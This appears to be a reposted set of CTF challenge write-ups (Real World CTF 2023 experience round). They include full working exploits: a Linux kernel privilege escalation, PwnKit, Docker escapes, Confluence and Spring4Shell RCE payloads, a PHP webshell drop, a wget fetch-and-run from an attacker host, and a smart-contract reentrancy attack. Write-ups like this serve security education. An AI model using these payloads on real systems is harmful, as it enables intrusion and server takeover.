第五届 Real World CTF 体验赛 Writeup
2023-1-11 18:6:26 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

别忘了
  星标我!

1月7日-8日,24小时 

第五届 Real World CTF 体验赛落下帷幕

来自企业、高校和长亭合作伙伴的239支战队

1000+人集结体验赛

192次签到题解出,

15次一血,

有效flag提交851次

最终,由来自北京邮电大学的天枢Dubhe战队以2268的总分、解出14题获得第一名,而去年的冠军团队,来自众多高校联合(南京大学,南京邮电、东南大学、中国矿业大学等)的SU战队以2187的总分获得第二名,由来自西安电子科技大学的L-team战队以总分2166名列第三名。

以下为本次体验赛所有题目的Writeup。
Pwn
Digging into Kernel 3
题目在5.19.0版本的Linux Kernel上运行了一个有漏洞的驱动,驱动代码比较简单,包括uaf,race condition,memory leak等多个漏洞。通过漏洞驱动获取root权限有很多种方法,这里贴出作者old-school的exploit代码(并非最简单的方法,甚至相对复杂,使用USMA/DirtyCred等手段可以写出更简洁更稳定的exploit)
#define _GNU_SOURCE#include <sched.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <ctype.h>#include <err.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/timerfd.h>#include <sys/ioctl.h>#include <sys/syscall.h>#include <linux/keyctl.h>
// user_key_payload#define size_user_key_payload (24)// (gdb) ptype /o struct user_key_payload// /* offset | size */ type = struct user_key_payload {// /* 0 | 16 */ struct callback_head {// /* 0 | 8 */ struct callback_head *next;// /* 8 | 8 */ void (*func)(struct callback_head *);// // /* total size (bytes): 16 */// } rcu;// /* 16 | 2 */ unsigned short datalen;// /* XXX 6-byte hole */// /* 24 | 0 */ char data[];// // /* total size (bytes): 24 */// }
int key_alloc(char *description, char *payload, int payload_len) { return syscall( __NR_add_key, "user", description, payload, payload_len, KEY_SPEC_PROCESS_KEYRING );}
void key_spray(int *keys, int spray_count, char *payload, int payload_len, char *description, int description_len) { char *tmp_desc = (char *)malloc(description_len + 100); memset(tmp_desc, 0, description_len + 100); memcpy(tmp_desc, description, description_len); for(int i = 0; i < spray_count; i++) { snprintf(tmp_desc + description_len, 100, "_%d", i); keys[i] = key_alloc(tmp_desc, payload, payload_len); if(keys[i] == -1) { perror("add_key"); printf("failed index: %d\n", i); // break; exit(-1); } } free(tmp_desc);}
int key_revoke(int key_id) { return syscall( __NR_keyctl, KEYCTL_REVOKE, key_id, 0, 0, 0 );}
int key_free(int key_id) { return syscall( __NR_keyctl, KEYCTL_UNLINK, key_id, KEY_SPEC_PROCESS_KEYRING );}

int key_read(int key_id, char *retbuf, int retbuf_len) { return syscall( __NR_keyctl, KEYCTL_READ, key_id, retbuf, retbuf_len );}// user_key_payload



// utilsvoid breakpoint() { printf("press enter to continue...\n"); getchar();}
#ifndef HEXDUMP_COLS#define HEXDUMP_COLS 16#endif
void hexdump(void *mem, unsigned int len) { putchar('\n'); for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) { /* print offset */ if(i % HEXDUMP_COLS == 0) { printf("0x%06x: ", i); }
/* print hex data */ if(i < len) { printf("%02x ", 0xFF & ((char*)mem)[i]); } /* end of block, just aligning for ASCII dump */ else { printf(" "); }
/* print ASCII dump */ if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) { for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) { /* end of block, not really printing */ if(j >= len) { putchar(' '); } /* printable char */ else if(isprint(((char*)mem)[j])) { putchar(0xFF & ((char*)mem)[j]); } /* other char */ else { putchar('.'); } } putchar('\n'); } } putchar('\n');}// utils
// here we startstruct add_param { int idx; int size; char *cont;};
int g_fd;int seq_fd;unsigned long long g_vmlinux = 0;unsigned long long g_modprobe_path = 0;unsigned long long g_do_task_dead = 0;unsigned long long g_heap = 0;
unsigned long long pop_rax_ret = 0;unsigned long long pop_rcx_ret = 0;unsigned long long pop_rdi_ret = 0;unsigned long long mov_ptr_rax_rdi_ret = 0;unsigned long long ret = 0;

void setup() { g_fd = open("/dev/rwctf", O_RDWR); printf("g_fd = %d\n", g_fd);
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x"); system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy");
if(fork()) { sleep(3); system("/tmp/dummy 2>/dev/null"); system("ls -l /flag"); system("cat /flag"); exit(1); }}
void add(int idx, int size, char* cont) { struct add_param arg = { .idx = idx, .size = size, .cont = cont, };
ioctl(g_fd, 0xdeadbeef, &arg); // no error check}
void delete(int idx) { ioctl(g_fd, 0xc0decafe, &idx); // no error check}
void leak() { int OBJ_SIZE = 0x100; char *cont = malloc(OBJ_SIZE); memset(cont, 'x', OBJ_SIZE);
add(0, OBJ_SIZE, cont); delete(0); // first free
int SPRAY_USER_KEY_SIZE = OBJ_SIZE - size_user_key_payload; int SPARY_USER_KEY_CNT = 50; int *keys = malloc(SPARY_USER_KEY_CNT * sizeof(int)); char *user_key_payload = malloc(SPRAY_USER_KEY_SIZE); memset(user_key_payload, 'y', SPRAY_USER_KEY_SIZE); key_spray(keys, SPARY_USER_KEY_CNT, user_key_payload, SPRAY_USER_KEY_SIZE, "spray_key", strlen("spray_key"));
delete(0); // double free
*(unsigned long long *)&cont[0x0] = 0; *(unsigned long long *)&cont[0x8] = 0; *(unsigned long long *)&cont[0x10] = 0x2000; // user_key size for(int i = 0; i < 100; i++) { add(1, OBJ_SIZE, cont); }
char *recv_payload = malloc(0x2000); int anchor = 0; for(int i = 0; i < SPARY_USER_KEY_CNT; i++) { memset(recv_payload, 0, 0x2000); int retval = key_read(keys[i], recv_payload, 0x2000); // printf("retval = %d\n", retval); if(retval > SPRAY_USER_KEY_SIZE) { printf("find anchor %d\n", anchor); printf("we leaked something...\n"); anchor = i; break; } }
if(anchor == 0) { err(-1, "bad luck, try again!\n"); }
for(int i = 0; i < SPARY_USER_KEY_CNT; i++) { if(i != anchor) { key_revoke(keys[i]); } }
memset(recv_payload, 0, 0x2000); int retval = key_read(keys[anchor], recv_payload, 0x2000); // printf("retval = %d\n", retval); if(retval > SPRAY_USER_KEY_SIZE) { // hexdump(recv_payload, 0x200); unsigned long long heap = *(unsigned long long *)&recv_payload[0xe8]; unsigned long long _user_free_payload_rcu = *(unsigned long long *)&recv_payload[0xf0]; unsigned long long needle = *(unsigned long long *)&recv_payload[0x100]; if(needle == 0x7979797979797979 && heap && _user_free_payload_rcu) { printf("leaked heap @ 0x%llx\n", heap); printf("leaked user_free_payload_rcu @ 0x%llx\n", _user_free_payload_rcu); g_vmlinux = _user_free_payload_rcu - 0x339d8210; printf("vmlinux @ 0x%llx\n", g_vmlinux); g_modprobe_path = g_vmlinux + 0x34e510a0; // printf("modprobe_path @ 0x%llx\n", g_modprobe_path); g_do_task_dead = g_vmlinux + 0x336a3190; pop_rax_ret = g_vmlinux + 0x33600ddb; // pop rax; ret pop_rcx_ret = g_vmlinux + 0x33662de3; // pop rcx; ret pop_rdi_ret = g_vmlinux + 0x3366ab4d; // pop rdi; ret mov_ptr_rax_rdi_ret = g_vmlinux + 0x337b614a; // mov qword ptr [rax], rdi; ret ret = g_vmlinux + 0x33600341; // ret } }
sleep(1); // free user_key for(int i = 0; i < 100; i++) { close(keys[i]); }
// // place gadgets // memset(cont, '!', OBJ_SIZE); // for(int i = 0; i < 100; i++) { // add(1, OBJ_SIZE, cont); // }}
void hijack() { int OBJ_SIZE = 0x20; // char *cont = malloc(OBJ_SIZE); memset(cont, 'z', OBJ_SIZE);
add(0, OBJ_SIZE, cont); delete(0); // first free
seq_fd = open("/proc/self/stat", O_RDONLY); delete(0); // second free

unsigned char fake_seq_operations[OBJ_SIZE]; memset(fake_seq_operations, '0', OBJ_SIZE); // *(unsigned long long *)&fake_seq_operations[0x00] = 0x1111111111111111; *(unsigned long long *)&fake_seq_operations[0x00] = g_vmlinux + 0x3388f732; // ret 0x160 *(unsigned long long *)&fake_seq_operations[0x08] = ret; *(unsigned long long *)&fake_seq_operations[0x10] = ret; *(unsigned long long *)&fake_seq_operations[0x18] = pop_rax_ret;
for(int i = 0; i < 1; i++) { add(1, OBJ_SIZE, fake_seq_operations); }
__asm__( "mov r15, pop_rax_ret;" "mov r14, g_modprobe_path;" "mov r13, pop_rdi_ret;" "mov r12, 0x0000782f706d742f;" // /tmp/x\x00 "mov rbp, mov_ptr_rax_rdi_ret;" "mov rbx, g_do_task_dead;" "mov r11, 0x77777777;" "mov r10, 0x88888888;" "mov r9, 0x99999999;" "mov r8, 0xaaaaaaaa;" "mov rcx, 0x666666;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "xor rax, rax;" "syscall" ); // read(seq_fd, fake_seq_operations, 1);

}
int main() { setup(); leak();
// breakpoint(); hijack();
// breakpoint();
return 0;}
Be-a-PK-LPE-Master

连接端口后,题目提示默认用户名为 user, 空口令登陆。 

发现需要提权才能获取 flag ,从题目名称中可以猜测出我们需要利用 pkexec 的漏洞进行提权, 故尝试使用 CVE-2021-4034 进行提权。

exploit 参考:

#include <stdio.h>#include <stdlib.h>#include <unistd.h>
char *shell = "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}";
int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env);}

这里还有一个小故事, 新版的 Kernel 会处理 execve 的 argv[0] 是 NULL 的情况,因此 pkexec 这个漏洞在较新版本 Kernel 是不能用的 。 具体情况可以参考:

Handling argc==0 in the kernel [LWN.net] (https://lwn.net/Articles/882799/

Be-a-Docker-Escaper-2

通过 ssh 获取题目 shell 后,可以发现是在容器环境中。仔细看根目录可以看到容器环境将 HOST 的 /proc/sys/fs/binfmt_misc/ 目录映射到了容器的 /binfmt_misc

通过了解资料知道 Linux 内核有一个名为Miscellaneous Binary Forma(binfmt_misc)的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名或文件开始位置的特殊的字节(Magic Byte)来判断应该如何打开文件

其 binfmt 的格式如下:
name:type:offset:magic:mask:interpreter:flags
这个配置中每个字段都用冒号 : 分割,某些字段拥有默认值可以跳过,但是必须保留相应的冒号分割符。
各个字段的意义如下:
  • name:规则名
  • type:表示如何匹配被打开的文件,值为 E 或 M 。E 表示根据扩展名识别,而 M 表示根据文件特定位置的 Magic Bytes来识别

  • offset:type字段设置成 M 之后有效,表示查找 Magic Bytes的偏移,默认为0

  • magic:表示要匹配的 Magic Bytes,type 字段为 M 时,表示文件的扩展名,扩展名是大小写敏感的,不需要包含 .。type字段为 E 时,表示 Magic Bytes,其中不可见字符可以通过 \xff 的方式来输出

  • mask:type字段设置成 M 之后有效,长度与 Magic Bytes 的长度一致。如果某一位为1,表 magic 对应的位匹配,为0则忽略。默认为全部匹配

  • interpreter:启动文件的程序,需要是绝对路径

  • flags: 可选字段,控制 interpreter 打开文件的行为,共支持 POCF 四种flag

因此我们可以注册一个自己的 binfmt, 然后让其 HOST 执行相应的文件,就可以完成逃逸。关键是如何在 HOST 执行相应的文件。观察出题人给的条件,  出题人给了 ssh 登陆的途径。
我们通过 strace sshd 进程 ,会发现 sshd 服务当有 ssh 尝试连接的时候会执行一些 bash 脚本,例如 etc/update-motd.d/00-header

至此打通了逃逸的路径

完整利用过程:

1、首先注册一个自己的 binfmt

echo ":test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/$overlay/diff/tmp/exploit:" > /binfmt_misc/register

例如上一条语句,即为注册一个名 test, magic 为 #!/bin/sh , interpreter位于 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 的 binfmt ,其中 $overlay2 我们可以在 docker 中使用  mount 命令来获取

2、往 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 写入我们要执行的命令

echo '#!/bin/bash' > /tmp/exploitecho "docker cp /root/flag $container:/tmp/" >> /tmp/exploitchmod 777 /tmp/exploit

3、最后再使用 ssh 登陆一次即可获取 flag

Be-a-Docker-Escaper-3

首先查看内核版本 ,可以发现是一个比较旧的内核版本

再结合题目描述和名字,可以知道这题应该需要使用 CVE-2016-5195 也就是著名的DirtyCOW 漏洞来进行容器逃逸。

想要使用 DirtyCOW 进行容器逃逸,需要使用 DirtyCOW-vDSO 的利用方式,也就是通过 DirtyCOW 覆盖 vDSO 数据来实现对容器的逃逸。但是现有最著名的 vDSO 逃逸利用https://github.com/scumjr/dirtycow-vdso存在以下两个问题:

  1. 该利用使用 ptrace 方式来实现对 vDSO 内存的修改触发 COW,但是新版本 docker 默认禁止 ptrace

  2. 该利用对 vDSO 的 patch 选择的位置在 ubuntu 的内核里触发不了,需要换一个 patch 点

本着不能只有自己被坑的原则,出了这题。

需要将原来的ptrace利用方式换回 /proc/self/mem 利用并且更换触发点。或者不想改也可以重写一遍DirtyCOW利用即可。利用参考

https://github.com/zh-explorer/dirtycow.git

利用流程如下:

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyelftoolsgit clone https://github.com/zh-explorer/dirtycow.gitcd  dirtycowmkdir buildcd buildcmake ..make./dirtycow {IP} 31337

Be-a-BUS-Driver

题目中运行了一个 D-Bus 服务, 通过 busctl --system --list 命令可以列出当前注册的 system D-Bus 服务, 其中有一个叫 ezbus 的尤其可疑。

通过 busctl introspect org.dbus.rwctf /org/dbus/rwctf 命令可以列出其实现的方法名, 例如可以看到其实现了一个名为 SayBoss 的方法,接受字符串参数。

打开 IDA 进行逆向, 找到 SayBoss 方法

发现 count 变量计算了调用该函数的次数,如果大于 0xA ,即可执行命令。

因此我们只需调用往 /tmp/exp.sh 写入我们要执行的命令, 然后使用下面这句命令调用超过 10 次即可。

busctl --system call org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1 SayBoss s "/tmp/exp.sh"

Web
Be-a-Wiki-Hacker

根据页面上显示的版本 7.13.6,搜索 Confluence 历史漏洞,可以发现 CVE-2022-26134 这个表达式注入漏洞是可以利用的,执行 id 命令的利用验证poc:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: example.com:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

url 路径部分就是 ognl 表达式 url 编码后的内容,所以执行的表达式其实就是:

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
如果要拿服务器 shell 权限,可以反弹 shell,这里注意 Java 里 Runtime 直接传递字符串执行 exec 的话,命令里不支持 shell 语法特性(比如管道符、重定向等),以及这里由于 tomcat 处理 url 的安全特性,url 里不能出现编码后的斜线,所以可以执行最简单的,wget 从远程拉一个脚本下来然后执行,分三次执行:
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("wget script.attacker.com").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("chmod +x index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("bash index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
Evil MySQL Server

这题考查的是 mysql 连接到恶意服务器时,恶意服务端可以读取 mysql 客户端本地文件的特性利用。如果不了解这个安全问题的选手,也可以根据题目提示“Evil MySQL Server”进行 Google 查询,能找到相关的安全资料。本题在体验赛赛题讲解视频里也有更为详细的讲解,这里简单说下怎么做。

可以直接借助工具 MySQL Fake Server:https://github.com/fnmsd/MySQL_Fake_Server

用它在你自己的公网 vps 服务器上启动一个恶意的 mysql server,比如地址是 1.1.1.1,端口3306,然后打开题目,在表单里填上对应的服务器地址,用户名处填 fileread_/flag,提交。mysql fake server 就会收到请求,并读到 /flag 文件内容。

ApacheCommandText

由于 apache common text 在默认配置下会对数据进行递归解析。这道题对一些常见利用的字符串进行了过滤,但没有过滤base64decoder,因此我们可以使用base64decoder以及递归特性进行漏洞利用。

POC

${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}

Be-a-Langurage-Expert

这题考察的是 Thinkphp 多语言功能导致的任意文件包含,这个漏洞的影响范围如下

* ThinkPHP v6.0.1 <= v6.0. x <= v6.0.13

* ThinkPHP v5.1.x

* ThinkPHP v5.0.x

具体的漏洞分析可以参考:

http://tttang.com/archive/1865/

所以进入题目便可以看到,当前的 ThinkPHP 版本为 6.0.12 正好位于漏洞版本范围内,所以我们便可以进行任意文件包含。结合题目描述里面给出的信息,整个 ThinkPHP 是使用Docker进行部署的,所以我们可以使用: https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html 这个技巧, 利用 PearCMD 来最终实现RCE。

首先我们发送第一个包,用来创建一个 Webshell 在 /tmp/1.php:

GET /?+config-create+/&lang=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[a]);?>+/tmp/1.php HTTP/1.1Host: localhost:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36Connection: closeCache-Control: max-age=0
此时在 /tmp/1.php 中的内容就是 <?=@eval($_POST[a]);?>。我们之后只需要使用Webshell 管理工具连接如下地址即可。
http://your-ip:8888/?&lang=../../../../../../../../../../../tmp/1
最后执行 /readflag 获取 Flag
Yummy Api

这题考察的是 Yapi 通过页面信息我们可以得到当前 Yapi 的版本为 v1.10.2。在这个版本中我们可以进行如下操作最终实现 RCE,获取 Flag。

  1. 使用 Mongodb 注入拿到用户项目的 Token ,这一步需要爆破。

  2. 在默认情况下利用这个使用 aes192 加密 token,这样我们可以调用项目的任意功能,。

  3. 然后通过调用项目的 pre-script 功能,上传 vm2 的逃逸脚本实现 RCE。

具体的漏洞分析文章可以参考: 

https://www.anquanke.com/post/id/283779 

当然也可以找到一键利用的脚本:

https://raw.githubusercontent.com/vulhub/vulhub/e186e1817786817b484f4f196510478c57ac7ee3/yapi/mongodb-inj/poc.py

使用这个脚本我们只需要执行,即可拿到 Flag

py -3 .\poc.py --debug one4all -u http://ip:9090/ -c "/readflag"
Spring4Shell

该题主要结合 git 泄漏与2022年 top2 漏洞—— Spring4shell 相关背景。

解题思路一:

可以发现 .git 泄漏配置文件,导致 web 路径泄漏。

可使用工具:

https://github.com/gakki429/Git_Extract.git

$ python git_extract.py http://47.98.216.107:31584/.git/

查看 web 路径:

$ cat 47.98.216.107_31584/server.xml|grep appBase<Host name="XXXX"  appBase="chaitin"
Spring4shell EXP:
可使用:https://github.com/reznok/Spring4Shell-POC.需要手动指定 web 路径
python exploit.py --url http://47.98.216.107:31584/ --dir chaitin/ROOT
解题思路二:
修改 appBase,不需要获取 web 路径,此 payload 不常见,github 上检索不到。
payload:class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/tmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.appBase=/
webshell 写入路径:/tmp/shell.jsp
访问 webshell:
http://47.98.216.107:31584/tmp/shell.jsp?cmd=id
读取 flag
Misc
Long Range
通过题目描述 Long Range与频段 500.5Mhz (属于 LoRa 在中国常用的CN470-510频段) 结合猜测信号中是一段 LoRa 信号。 使用 SDRSharp 或其他工具加载 wav 文件,可以发现信号也比较符合 LoRa 的特征,进一步印证猜测并分析出所使用的带宽为125kHz。

使用 GNU Radio 的 OOT 模块 gr-lora,调整 SF 扩频因子, 在8时可以解出 flag。

Be-a-Famicom-Hacker
使用模拟器打开游戏,可以发现界面的 komani 1988被修改为了 RWCTF 2023,知晓 ROM 被修改。

最硬核的解题方式是通过 ROM 大小知道是日版的魂斗罗,然后下载原版 ROM diff 修改内容,然后逆向 ROM 代码,但游戏类题目一般只要探索过所有场景即可获得 flag。
通过搜索可以知道,魂斗罗存在一个隐藏彩蛋:在过关的结尾动画(包括滚动名单)期间,全程按住 Select+Start 键,即可见到一段隐藏的彩蛋,flag 就放在隐藏彩蛋中。

关于快速通关,

选关按下 START 后,在游戏画面变黑之前,同时按下 ←+↑+A+START,就可以进入选关菜单。

作弊

1.自带的经典作弊码,在标题画面BGM出现后按 上上下下左右左右BA 就会有30条命。

2.模拟器打开 CPU view,进入关卡,其中 0x32 位置为 1P 的生命数,0xB0 位置为1P无敌状态的剩余时间,可以修改/冻结这两个位置达到无限命+无敌的状态迅猛通关。

BlockChain
HappyFactory

本题考点为 Defi 项目的核心逻辑中,闪电贷功能易出现的重入漏洞。

解题思路1:

在调用 swap 合约闪电贷之前,调用 Token 的 Burn 接口。Burn 接口无 onlyOwner 限制,可直接调用。

Burn 掉 Pair 的部分 balance,然后调用 sync 函数调平。调平后的pair可swap出巨量Token。

解题思路2:

在调用 swap 合约的闪电贷功能时,重入未加 lock 限制的 sync 函数。在计算 K 值前,将 reserve 设为对自己有利的状态。

解题 Exploit 如下:
pragma solidity ^0.8.0;import "./Happy.sol";
contract Exploit { event tokenA_tokenB(address, address); IHappyFactory factory = IHappyFactory(address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36)); IHappyPair public pair; IHappyERC20 public tokenA; IHappyERC20 public tokenB; address public gamer;
constructor(address tokenA_address, address tokenB_address) { gamer = msg.sender; tokenA = IHappyERC20(tokenA_address); tokenB = IHappyERC20(tokenB_address); pair = IHappyPair(factory.getPair(tokenA_address, tokenB_address)); }
function attack(uint256 amount0, uint256 amount1) public { pair.swap(amount0, amount1, address(this), "0x"); tokenB.transfer(gamer, 1 ether); }
fallback() external { pair.sync(); tokenA.transferFrom(gamer, address(pair), 1 ether); }}
Crypto
babyCurve

题目的主要考察椭圆曲线同构。参考链接:

https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp

根据题目我们可以知道椭圆曲线为y² = x*(x+1)²

然后我们发现椭圆曲线的判别式为 0 根据参考链接给出的方法 我们采用换元法修改成和上述链接一样的形式。

这时候就可以利用同构求出密钥x,然后一切问题都迎刃而解
下面提供下 exp
from Crypto.Util.number import *from Crypto.Cipher import AESp = 193387944202565886198256260591909756041P.<x> = GF(p)[]f = x^3 + 2*x^2 + xP = (4, 10)Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)f_ = f.subs(x=x-1)print f_.factor()
P_ = (P[0] +1, P[1])Q_ = (Q[0] +1, Q[1])
t = GF(p)(p-1).square_root()u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % pv = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % pprint(v.log(u))k = v.log(u)aes = AES.new(long_to_bytes(k).ljust(16, '\0'), AES.MODE_CBC, '\0'*16)flag = "b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0".decode("hex")print(len(flag))plaintext = aes.decrypt(flag)print(plaintext)
Reverse
SNAKE

安装 apk 运行发现是个贪吃蛇游戏,随着控制蛇吃到的食物越多,蛇的速度越快。所以如果你足够强可以坚持到最后,把 flag 吃出来。

分析 apk,由于贪吃蛇和食物本身所用资源都是图片,于是在 drawable 目录中可找到这些图片文件,并且可以发现除普通食物图片外,还有 b0,b1 这些字母图片,容易猜测到这些便是 flag 的组成部分。

在 onDraw 方法中注意到如下部分

a和b方法分别控制屏幕绘制食物或是 flag,由 this.c 控制

注意到拼装b图片时用到了 this.f 数组,交叉引用后定位到

比较容易猜到是 brainfuck,但是有点小改动,不能直接在线解密,仔细分析的话可以发现是[]<>互换了一下,图方便可以 hook 拿到返回值
function hook(){    Java.perform(function(){       var SecurityParams = Java.use("b.a.a.a");       SecurityParams.a.implementation = function(str){                var ret = this.a(str);                console.log(ret);                return ret;            }    });    }function main() {        hook()}
setImmediate(main)

数组中的元素即对应 drawable 目录中 flag 文件名,按顺序找出对应图片即可得到 flag,需要注意的是 this.v 在i函数中会先自增一次,所以 flag 从第1个元素开始取
Check-In
🐑了拼🐑
直接拼图就可以获取 flag

点分享
点收藏
点点赞
点在看

文章来源: https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&mid=2247500498&idx=1&sn=bd9268dd11e735fb4b2fd14d5aa4efcc&chksm=eadc5509ddabdc1f92f56cc2d4b7a18c47274125ed23e1fd895ba7ad88113c5bed8097ba803a&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh